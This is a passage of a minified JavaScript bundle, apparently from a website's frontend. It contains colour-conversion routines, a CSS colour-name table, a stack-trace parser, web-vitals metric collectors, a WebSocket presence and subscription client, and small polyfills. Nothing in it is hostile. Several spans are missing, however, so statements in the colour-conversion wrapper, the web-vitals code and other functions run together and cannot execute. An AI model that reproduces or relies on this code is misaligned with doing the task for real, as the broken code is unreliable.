l=116*n-16,u=500*(t-n),a=200*(n-r);return[l,u,a]},h.hsl.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;let r,l,u;if(t===0)return u=n*255,[u,u,u];n<.5?r=n*(1+t):r=n+t-n*t;const a=2*n-r,s=[0,0,0];for(let c=0;c<3;c++)l=o+1/3*-(c-1),l<0&&l++,l>1&&l--,6*l<1?u=a+(r-a)*6*l:2*l<1?u=r:3*l<2?u=a+(r-a)*(2/3-l)*6:u=a,s[c]=u*255;return s},h.hsl.hsv=function(e){const o=e[0];let t=e[1]/100,n=e[2]/100,r=t;const l=Math.max(n,.01);n*=2,t*=n<=1?n:2-n,r*=l<=1?l:2-l;const u=(n+t)/2,a=n===0?2*r/(l+r):2*t/(n+t);return[o,a*100,u*100]},h.hsv.rgb=function(e){const o=e[0]/60,t=e[1]/100;let n=e[2]/100;const r=Math.floor(o)%6,l=o-Math.floor(o),u=255*n*(1-t),a=255*n*(1-t*l),s=255*n*(1-t*(1-l));switch(n*=255,r){case 0:return[n,s,u];case 1:return[a,n,u];case 2:return[u,n,s];case 3:return[u,a,n];case 4:return[s,u,n];case 5:return[n,u,a]}},h.hsv.hsl=function(e){const o=e[0],t=e[1]/100,n=e[2]/100,r=Math.max(n,.01);let l,u;u=(2-t)*n;const a=(2-t)*r;return l=t*r,l/=a<=1?a:2-a,l=l||0,u/=2,[o,l*100,u*100]},h.hwb.rgb=function(e){const o=e[0]/360;let t=e[1]/100,n=e[2]/100;const r=t+n;let l;r>1&&(t/=r,n/=r);const u=Math.floor(6*o),a=1-n;l=6*o-u,(u&1)!==0&&(l=1-l);const s=t+l*(a-t);let c,m,d;switch(u){default:case 6:case 0:c=a,m=s,d=t;break;case 1:c=s,m=a,d=t;break;case 2:c=t,m=a,d=s;break;case 3:c=t,m=s,d=a;break;case 4:c=s,m=t,d=a;break;case 5:c=a,m=t,d=s;break}return[c*255,m*255,d*255]},h.cmyk.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100,r=e[3]/100,l=1-Math.min(1,o*(1-r)+r),u=1-Math.min(1,t*(1-r)+r),a=1-Math.min(1,n*(1-r)+r);return[l*255,u*255,a*255]},h.xyz.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100;let r,l,u;return r=o*3.2406+t*-1.5372+n*-.4986,l=o*-.9689+t*1.8758+n*.0415,u=o*.0557+t*-.204+n*1.057,r=r>.0031308?1.055*r**(1/2.4)-.055:r*12.92,l=l>.0031308?1.055*l**(1/2.4)-.055:l*12.92,u=u>.0031308?1.055*u**(1/2.4)-.055:u*12.92,r=Math.min(Math.max(0,r),1),l=Math.min(Math.max(0,l),1),u=Math.min(Math.max(0,u),1),[r*255,l*255,u*255]},h.xyz.lab=function(e){let o=e[0],t=e[1],n=e[2];o/=95.047,t/=100,n/=108.883,o=o>.008856?o**(1/3):7.787*o+16/116,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116;const r=116*t-16,l=500*(o-t),u=200*(t-n);return[r,l,u]},h.lab.xyz=function(e){const o=e[0],t=e[1],n=e[2];let r,l,u;l=(o+16)/116,r=t/500+l,u=l-n/200;const a=l**3,s=r**3,c=u**3;return l=a>.008856?a:(l-16/116)/7.787,r=s>.008856?s:(r-16/116)/7.787,u=c>.008856?c:(u-16/116)/7.787,r*=95.047,l*=100,u*=108.883,[r,l,u]},h.lab.lch=function(e){const o=e[0],t=e[1],n=e[2];let r;r=Math.atan2(n,t)*360/2/Math.PI,r<0&&(r+=360);const u=Math.sqrt(t*t+n*n);return[o,u,r]},h.lch.lab=function(e){const o=e[0],t=e[1],r=e[2]/360*2*Math.PI,l=t*Math.cos(r),u=t*Math.sin(r);return[o,l,u]},h.rgb.ansi16=function(e,o=null){const[t,n,r]=e;let l=o===null?h.rgb.hsv(e)[2]:o;if(l=Math.round(l/50),l===0)return 30;let u=30+(Math.round(r/255)<<2|Math.round(n/255)<<1|Math.round(t/255));return l===2&&(u+=60),u},h.hsv.ansi16=function(e){return h.rgb.ansi16(h.hsv.rgb(e),e[2])},h.rgb.ansi256=function(e){const o=e[0],t=e[1],n=e[2];return o===t&&t===n?o<8?16:o>248?231:Math.round((o-8)/247*24)+232:16+36*Math.round(o/255*5)+6*Math.round(t/255*5)+Math.round(n/255*5)},h.ansi16.rgb=function(e){let o=e%10;if(o===0||o===7)return e>50&&(o+=3.5),o=o/10.5*255,[o,o,o];const t=(~~(e>50)+1)*.5,n=(o&1)*t*255,r=(o>>1&1)*t*255,l=(o>>2&1)*t*255;return[n,r,l]},h.ansi256.rgb=function(e){if(e>=232){const l=(e-232)*10+8;return[l,l,l]}e-=16;let o;const t=Math.floor(e/36)/5*255,n=Math.floor((o=e%36)/6)/5*255,r=o%6/5*255;return[t,n,r]},h.rgb.hex=function(e){const t=(((Math.round(e[0])&255)<<16)+((Math.round(e[1])&255)<<8)+(Math.round(e[2])&255)).toString(16).toUpperCase();return"000000".substring(t.length)+t},h.hex.rgb=function(e){const o=e.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!o)return[0,0,0];let t=o[0];o[0].length===3&&(t=t.split("").map(a=>a+a).join(""));const n=parseInt(t,16),r=n>>16&255,l=n>>8&255,u=n&255;return[r,l,u]},h.rgb.hcg=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.max(Math.max(o,t),n),l=Math.min(Math.min(o,t),n),u=r-l;let a,s;return u<1?a=l/(1-u):a=0,u<=0?s=0:r===o?s=(t-n)/u%6:r===t?s=2+(n-o)/u:s=4+(o-t)/u,s/=6,s%=1,[s*360,u*100,a*100]},h.hsl.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=t<.5?2*o*t:2*o*(1-t);let r=0;return n<1&&(r=(t-.5*n)/(1-n)),[e[0],n*100,r*100]},h.hsv.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=o*t;let r=0;return n<1&&(r=(t-n)/(1-n)),[e[0],n*100,r*100]},h.hcg.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;if(t===0)return[n*255,n*255,n*255];const r=[0,0,0],l=o%1*6,u=l%1,a=1-u;let s=0;switch(Math.floor(l)){case 0:r[0]=1,r[1]=u,r[2]=0;break;case 1:r[0]=a,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=u;break;case 3:r[0]=0,r[1]=a,r[2]=1;break;case 4:r[0]=u,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=a}return s=(1-t)*n,[(t*r[0]+s)*255,(t*r[1]+s)*255,(t*r[2]+s)*255]},h.hcg.hsv=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);let r=0;return n>0&&(r=o/n),[e[0],r*100,n*100]},h.hcg.hsl=function(e){const o=e[1]/100,n=e[2]/100*(1-o)+.5*o;let r=0;return n>0&&n<.5?r=o/(2*n):n>=.5&&n<1&&(r=o/(2*(1-n))),[e[0],r*100,n*100]},h.hcg.hwb=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);return[e[0],(n-o)*100,(1-n)*100]},h.hwb.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=1-t,r=n-o;let l=0;return r<1&&(l=(n-r)/(1-r)),[e[0],r*100,l*100]},h.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},h.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},h.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},h.gray.hsl=function(e){return[0,0,e[0]]},h.gray.hsv=h.gray.hsl,h.gray.hwb=function(e){return[0,100,e[0]]},h.gray.cmyk=function(e){return[0,0,0,e[0]]},h.gray.lab=function(e){return[e[0],0,0]},h.gray.hex=function(e){const o=Math.round(e[0]/100*255)&255,n=((o<<16)+(o<<8)+o).toString(16).toUpperCase();return"000000".substring(n.length)+n},h.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}},12085:(N,M,E)=>{const b=E(48168),_=E(4111),h={},v=Object.keys(b);function e(t){const n=i(function(...r){const l=r[0];return l==null?l:(l.length>1&&(r=l),t(r))},"wrappedFn");return"conversion"in t&&(n.conversion=t.conversion),n}i(e,"wrapRaw");function o(t){const n=i(function(...r){const l=r[0];if(l==null)return l;l.length>1&&(r=l);const u=t(r);if(typeof u=="object")for(let a=u.length,s=0;s{h[t]={},Object.defineProperty(h[t],"channels",{value:b[t].channels}),Object.defineProperty(h[t],"labels",{value:b[t].labels});const n=_(t);Object.keys(n).forEach(l=>{const u=n[l];h[t][l]=o(u),h[t][l].raw=e(u)})}),N.exports=h},39092:N=>{"use strict";N.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},4111:(N,M,E)=>{const b=E(48168);function _(){const o={},t=Object.keys(b);for(let n=t.length,r=0;r{"use strict";E.d(M,{_8:()=>b,uQ:()=>_});function b(e,o){return _(h(e),o)}i(b,"preserveAnchorNodePosition");function _(e,o){var t=e;if(!t)return Promise.resolve(o());var n=t.ownerDocument.documentElement;function r(a){for(var s=[];a;){var c=a.getBoundingClientRect(),m=c.top,d=c.left;s.push({element:a,top:m,left:d}),a=a.parentElement}return s}i(r,"computeAncestorBoundingRects");function l(a){for(var s=0;s{"use strict";E.d(M,{Q:()=>_});var b="";function _(m){var d=m.split(` +`);return d.reduce(function(p,g){var w=e(g)||t(g)||l(g)||c(g)||a(g);return w&&p.push(w),p},[])}i(_,"parse");var h=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,v=/\((\S*)(?::(\d+))(?::(\d+))\)/;function e(m){var d=h.exec(m);if(!d)return null;var p=d[2]&&d[2].indexOf("native")===0,g=d[2]&&d[2].indexOf("eval")===0,w=v.exec(d[2]);return g&&w!=null&&(d[2]=w[1],d[3]=w[2],d[4]=w[3]),{file:p?null:d[2],methodName:d[1]||b,arguments:p?[d[2]]:[],lineNumber:d[3]?+d[3]:null,column:d[4]?+d[4]:null}}i(e,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function t(m){var d=o.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(t,"parseWinjs");var n=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,r=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function l(m){var d=n.exec(m);if(!d)return null;var p=d[3]&&d[3].indexOf(" > eval")>-1,g=r.exec(d[3]);return p&&g!=null&&(d[3]=g[1],d[4]=g[2],d[5]=null),{file:d[3],methodName:d[1]||b,arguments:d[2]?d[2].split(","):[],lineNumber:d[4]?+d[4]:null,column:d[5]?+d[5]:null}}i(l,"parseGecko");var u=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function a(m){var d=u.exec(m);return d?{file:d[3],methodName:d[1]||b,arguments:[],lineNumber:+d[4],column:d[5]?+d[5]:null}:null}i(a,"parseJSC");var s=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function c(m){var d=s.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(c,"parseNode")},82131:(N,M,E)=>{"use strict";E.d(M,{CA:()=>ne,Tb:()=>te,Tx:()=>X,Y:()=>c,kz:()=>p});var b,_,h,v,e=i(function(P,T){return{name:P,value:T===void 0?-1:T,delta:0,entries:[],id:"v2-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12)}},"r"),o=i(function(P,T){try{if(PerformanceObserver.supportedEntryTypes.includes(P)){if(P==="first-input"&&!("PerformanceEventTiming"in self))return;var A=new PerformanceObserver(function(R){return R.getEntries().map(T)});return A.observe({type:P,buffered:!0}),A}}catch{}},"a"),t=i(function(P,T){var A=i(function R(S){S.type!=="pagehide"&&document.visibilityState!=="hidden"||(P(S),T&&(removeEventListener("visibilitychange",R,!0),removeEventListener("pagehide",R,!0)))},"n");addEventListener("visibilitychange",A,!0),addEventListener("pagehide",A,!0)},"o"),n=i(function(P){addEventListener("pageshow",function(T){T.persisted&&P(T)},!0)},"u"),r=i(function(P,T,A){var R;return function(S){T.value>=0&&(S||A)&&(T.delta=T.value-(R||0),(T.delta||R===void 0)&&(R=T.value,P(T)))}},"c"),l=-1,u=i(function(){return document.visibilityState==="hidden"?0:1/0},"s"),a=i(function(){t(function(P){var T=P.timeStamp;l=T},!0)},"m"),s=i(function(){return l<0&&(l=u(),a(),n(function(){setTimeout(function(){l=u(),a()},0)})),{get firstHiddenTime(){return l}}},"v"),c=i(function(P,T){var A,R=s(),S=e("FCP"),F=i(function(H){H.name==="first-contentful-paint"&&(U&&U.disconnect(),H.startTime-1&&P(B)},"i"),S=e("CLS",0),F=0,D=[],U=i(function(B){if(!B.hadRecentInput){var re=D[0],G=D[D.length-1];F&&B.startTime-G.startTime<1e3&&B.startTime-re.startTime<5e3?(F+=B.value,D.push(B)):(F=B.value,D=[B]),F>S.value&&(S.value=F,S.entries=D,A())}},"v"),H=o("layout-shift",U);H&&(A=r(R,S,T),t(function(){H.takeRecords().map(U),A(!0)}),n(function(){F=0,d=-1,S=e("CLS",0),A=r(R,S,T)}))},"h"),g={passive:!0,capture:!0},w=new Date,x=i(function(P,T){b||(b=T,_=P,h=new Date,z(removeEventListener),I())},"g"),I=i(function(){if(_>=0&&_1e12?new Date:performance.now())-P.timeStamp;P.type=="pointerdown"?function(A,R){var S=i(function(){x(A,R),D()},"n"),F=i(function(){D()},"i"),D=i(function(){removeEventListener("pointerup",S,g),removeEventListener("pointercancel",F,g)},"r");addEventListener("pointerup",S,g),addEventListener("pointercancel",F,g)}(T,P):x(T,P)}},"S"),z=i(function(P){["mousedown","keydown","touchstart","pointerdown"].forEach(function(T){return P(T,$,g)})},"w"),X=i(function(P,T){var A,R=s(),S=e("FID"),F=i(function(U){U.startTimeperformance.now())return;A.entries=[R],P(A)}catch{}},"t"),document.readyState==="complete"?setTimeout(T,0):addEventListener("load",function(){return setTimeout(T,0)})},"P")},27907:(N,M,E)=>{"use strict";E.d(M,{a:()=>l});var b=E(81855),_=E(60835),h=E(16544),v=E(75658),e=E(80955),o=E(29871),t;(function(u){u.Deploy="Alive Redeploy",u.Reconnect="Alive Reconnect"})(t||(t={}));function n(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}_${Math.round(Date.now()/1e3)}`}i(n,"generatePresenceId");function r(u){const a=u.match(/\/u\/(\d+)\/ws/);return a?+a[1]:0}i(r,"getUserIdFromSocketUrl");class l{constructor(a,s,c,m){this.url=a,this.getUrl=s,this.inSharedWorker=c,this.notify=m,this.subscriptions=new v.v,this.state="online",this.retrying=null,this.connectionCount=0,this.presence=new b.k2,this.presenceMetadata=new _.a,this.intentionallyDisconnected=!1,this.lastCameOnline=0,this.userId=r(a),this.presenceId=n(),this.presenceKey=(0,b.Hw)(this.userId,this.presenceId),this.socket=this.connect()}subscribe(a){const s=this.subscriptions.add(...a);this.sendSubscribe(s);for(const c of a){const m=c.topic.name;!(0,b.A)(m)||this.notifyCachedPresence(c.subscriber,m)}}unsubscribe(a){const s=this.subscriptions.delete(...a);this.sendUnsubscribe(s)}unsubscribeAll(...a){const s=this.subscriptions.drain(...a);this.sendUnsubscribe(s);const c=this.presenceMetadata.removeSubscribers(a);this.sendPresenceMetadataUpdate(c)}requestPresence(a,s){for(const c of s)this.notifyCachedPresence(a,c)}notifyCachedPresence(a,s){const c=this.presence.getChannelItems(s);c.length!==0&&this.notifyPresenceChannel(s,c)}updatePresenceMetadata(a){const s=new Set;for(const c of a)this.presenceMetadata.setMetadata(c),s.add(c.channelName);this.sendPresenceMetadataUpdate(s)}sendPresenceMetadataUpdate(a){if(!a.size)return;const s=[];for(const c of a){const m=this.subscriptions.topic(c);m&&s.push(m)}this.sendSubscribe(s)}online(){var a;this.lastCameOnline=Date.now(),this.state="online",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.open()}offline(){var a;this.state="offline",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.close()}shutdown(){this.inSharedWorker&&self.close()}get reconnectWindow(){const a=Date.now()-this.lastCameOnline<6e4;return this.connectionCount===0||this.intentionallyDisconnected||a?0:10*1e3}socketDidOpen(){this.intentionallyDisconnected=!1,this.connectionCount++,this.socket.url=this.getUrlWithPresenceId(),this.sendSubscribe(this.subscriptions.topics())}socketDidClose(a,s,c){if(this.redeployEarlyReconnectTimeout!==void 0&&clearTimeout(this.redeployEarlyReconnectTimeout),c==="Alive Reconnect")this.intentionallyDisconnected=!0;else if(c==="Alive Redeploy"){this.intentionallyDisconnected=!0;const d=(3+Math.random()*22)*60*1e3;this.redeployEarlyReconnectTimeout=setTimeout(()=>{this.intentionallyDisconnected=!0,this.socket.close(1e3,"Alive Redeploy Early Client Reconnect")},d)}}socketDidFinish(){this.state!=="offline"&&this.reconnect()}socketDidReceiveMessage(a,s){const c=JSON.parse(s);switch(c.e){case"ack":{this.handleAck(c);break}case"msg":{this.handleMessage(c);break}}}handleAck(a){for(const s of this.subscriptions.topics())s.offset=a.off}handleMessage(a){const s=a.ch,c=this.subscriptions.topic(s);if(!!c){if(c.offset=a.off,"e"in a.data){const m=this.presence.handleMessage(s,a.data);this.notifyPresenceChannel(s,m);return}a.data.wait||(a.data.wait=0),this.notify(this.subscriptions.subscribers(s),{channel:s,type:"message",data:a.data})}}notifyPresenceChannel(a,s){var c,m;const d=new Map;for(const p of s){const{userId:g,metadata:w,presenceKey:x}=p,I=d.get(g)||{userId:g,isOwnUser:g===this.userId,metadata:[]};if(x!==this.presenceKey){for(const $ of w){if(_.Z in $){I.isIdle!==!1&&(I.isIdle=Boolean($[_.Z]));continue}I.metadata.push($)}d.set(g,I)}}for(const p of this.subscriptions.subscribers(a)){const g=this.userId,w=Array.from(d.values()).filter($=>$.userId!==g),x=(m=(c=d.get(this.userId))===null||c===void 0?void 0:c.metadata)!==null&&m!==void 0?m:[],I=this.presenceMetadata.getChannelMetadata(a,{subscriber:p,markAllAsLocal:!this.inSharedWorker});this.notify([p],{channel:a,type:"presence",data:[{userId:g,isOwnUser:!0,metadata:[...x,...I]},...w]})}}async reconnect(){if(!this.retrying)try{this.retrying=new AbortController;const a=await(0,o.X)(this.getUrl,1/0,6e4,this.retrying.signal);a?(this.url=a,this.socket=this.connect()):this.shutdown()}catch(a){if(a.name!=="AbortError")throw a}finally{this.retrying=null}}getUrlWithPresenceId(){const a=new URL(this.url,self.location.origin);return a.searchParams.set("shared",this.inSharedWorker.toString()),a.searchParams.set("p",`${this.presenceId}.${this.connectionCount}`),a.toString()}connect(){const a=new h.Oo(this.getUrlWithPresenceId(),this,{timeout:4e3,attempts:7});return a.open(),a}sendSubscribe(a){const s=Array.from(a);for(const c of(0,e.o)(s,25)){const m={};for(const d of c)(0,b.A)(d.name)?m[d.signed]=JSON.stringify(this.presenceMetadata.getChannelMetadata(d.name)):m[d.signed]=d.offset;this.socket.send(JSON.stringify({subscribe:m}))}}sendUnsubscribe(a){const s=Array.from(a,c=>c.signed);for(const c of(0,e.o)(s,25))this.socket.send(JSON.stringify({unsubscribe:c}));for(const c of a)(0,b.A)(c.name)&&this.presence.clearChannel(c.name)}}i(l,"AliveSession")},29871:(N,M,E)=>{"use strict";E.d(M,{X:()=>v});function b(e){return new Promise((o,t)=>{const n=new Error("aborted");n.name="AbortError",e.aborted?t(n):e.addEventListener("abort",()=>t(n))})}i(b,"whenAborted");async function _(e,o){let t;const n=new Promise(r=>{t=self.setTimeout(r,e)});if(!o)return n;try{await Promise.race([n,b(o)])}catch(r){throw self.clearTimeout(t),r}}i(_,"wait");function h(e){return Math.floor(Math.random()*Math.floor(e))}i(h,"rand");async function v(e,o,t=1/0,n){const r=n?b(n):null;for(let l=0;l{"use strict";E.d(M,{A:()=>h.A,ZE:()=>_.Z,Zf:()=>e.Z,a2:()=>b.a,ah:()=>_.a,vk:()=>v.v});var b=E(27907),_=E(60835),h=E(81855),v=E(75658),e=E(72993)},80955:(N,M,E)=>{"use strict";E.d(M,{o:()=>b});function*b(_,h){for(let v=0;v<_.length;v+=h)yield _.slice(v,v+h)}i(b,"eachSlice")},60835:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b,a:()=>v});const b="_i";function _(e){return Object.assign(Object.assign({},e),{isLocal:!0})}i(_,"markMetadataAsLocal");class h{constructor(){this.subscriberMetadata=new Map}setMetadata(o,t){this.subscriberMetadata.set(o,t)}removeSubscribers(o){let t=!1;for(const n of o)t=this.subscriberMetadata.delete(n)||t;return t}getMetadata(o){if(!o){const l=[];let u;for(const a of this.subscriberMetadata.values())for(const s of a)if(b in s){const c=Boolean(s[b]);u=u===void 0?c:c&&u}else l.push(s);return u!==void 0&&l.push({[b]:u?1:0}),l}const t=[],{subscriber:n,markAllAsLocal:r}=o;for(const[l,u]of this.subscriberMetadata){const s=r||l===n?u.map(_):u;t.push(...s)}return t}hasSubscribers(){return this.subscriberMetadata.size>0}}i(h,"PresenceMetadataForChannel");class v{constructor(){this.metadataByChannel=new Map}setMetadata({subscriber:o,channelName:t,metadata:n}){let r=this.metadataByChannel.get(t);r||(r=new h,this.metadataByChannel.set(t,r)),r.setMetadata(o,n)}removeSubscribers(o){const t=new Set;for(const[n,r]of this.metadataByChannel)r.removeSubscribers(o)&&t.add(n),r.hasSubscribers()||this.metadataByChannel.delete(n);return t}getChannelMetadata(o,t){const n=this.metadataByChannel.get(o);return(n==null?void 0:n.getMetadata(t))||[]}}i(v,"PresenceMetadataSet")},81855:(N,M,E)=>{"use strict";E.d(M,{A:()=>v,Hw:()=>b,k2:()=>o});function b(t,n){return`${t}:${n}`}i(b,"getPresenceKey");function _(t){const[n,r]=t.p.split(".");return{userId:t.u,presenceKey:b(t.u,n),connectionCount:Number(r),metadata:t.m||[]}}i(_,"decompressItem");const h="presence-";function v(t){return t.startsWith(h)}i(v,"isPresenceChannel");class e{constructor(){this.presenceItems=new Map}shouldUsePresenceItem(n){const r=this.presenceItems.get(n.presenceKey);return!r||r.connectionCount<=n.connectionCount}addPresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.set(n.presenceKey,n)}removePresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.delete(n.presenceKey)}replacePresenceItems(n){this.presenceItems.clear();for(const r of n)this.addPresenceItem(r)}getPresenceItems(){return Array.from(this.presenceItems.values())}}i(e,"PresenceChannel");class o{constructor(){this.presenceChannels=new Map}getPresenceChannel(n){const r=this.presenceChannels.get(n)||new e;return this.presenceChannels.set(n,r),r}handleMessage(n,r){const l=this.getPresenceChannel(n);switch(r.e){case"pf":l.replacePresenceItems(r.d.map(_));break;case"pa":l.addPresenceItem(_(r.d));break;case"pr":l.removePresenceItem(_(r.d));break}return this.getChannelItems(n)}getChannelItems(n){return this.getPresenceChannel(n).getPresenceItems()}clearChannel(n){this.presenceChannels.delete(n)}}i(o,"AlivePresence")},75658:(N,M,E)=>{"use strict";E.d(M,{v:()=>_});var b=E(61268);class _{constructor(){this.subscriptions=new b.Z,this.signatures=new Map}add(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.has(t.name)||(e.push(t),this.signatures.set(t.name,t)),this.subscriptions.set(t.name,o);return e}delete(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.delete(t.name,o)&&!this.subscriptions.has(t.name)&&(e.push(t),this.signatures.delete(t.name));return e}drain(...v){const e=[];for(const o of v)for(const t of this.subscriptions.drain(o)){const n=this.signatures.get(t);this.signatures.delete(t),e.push(n)}return e}topics(){return this.signatures.values()}topic(v){return this.signatures.get(v)||null}subscribers(v){return this.subscriptions.get(v).values()}}i(_,"SubscriptionSet")},72993:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h,v){this.name=h,this.signed=v,this.offset=""}static parse(h){const[v,e]=h.split("--");if(!v||!e)return null;const o=JSON.parse(atob(v));return!o.c||!o.t?null:new b(o.c,h)}}i(b,"Topic")},50232:(N,M,E)=>{"use strict";E.d(M,{nn:()=>ue,Gb:()=>ae});function b(L){const j=new AbortController;return j.abort(L),j.signal}i(b,"abortsignal_abort_abortSignalAbort");function _(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}i(_,"isSupported");function h(){return AbortSignal.abort===b}i(h,"isPolyfilled");function v(){_()||(AbortSignal.abort=b)}i(v,"apply");function e(L){const j=new AbortController;return setTimeout(()=>j.abort(new DOMException("TimeoutError")),L),j.signal}i(e,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}i(o,"abortsignal_timeout_isSupported");function t(){return AbortSignal.timeout===e}i(t,"abortsignal_timeout_isPolyfilled");function n(){o()||(AbortSignal.timeout=e)}i(n,"abortsignal_timeout_apply");class r extends Error{constructor(j,W,K={}){super(W);Object.defineProperty(this,"errors",{value:Array.from(j),configurable:!0,writable:!0}),K.cause&&Object.defineProperty(this,"cause",{value:K.cause,configurable:!0,writable:!0})}}i(r,"AggregateError");function l(){return typeof globalThis.AggregateError=="function"}i(l,"aggregateerror_isSupported");function u(){return globalThis.AggregateError===r}i(u,"aggregateerror_isPolyfilled");function a(){l()||(globalThis.AggregateError=r)}i(a,"aggregateerror_apply");const s=Reflect.getPrototypeOf(Int8Array)||{};function c(L){const j=this.length;return L=Math.trunc(L)||0,L<0&&(L+=j),L<0||L>=j?void 0:this[L]}i(c,"arrayLikeAt");function m(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in s&&typeof s.at=="function"}i(m,"arraylike_at_isSupported");function d(){return 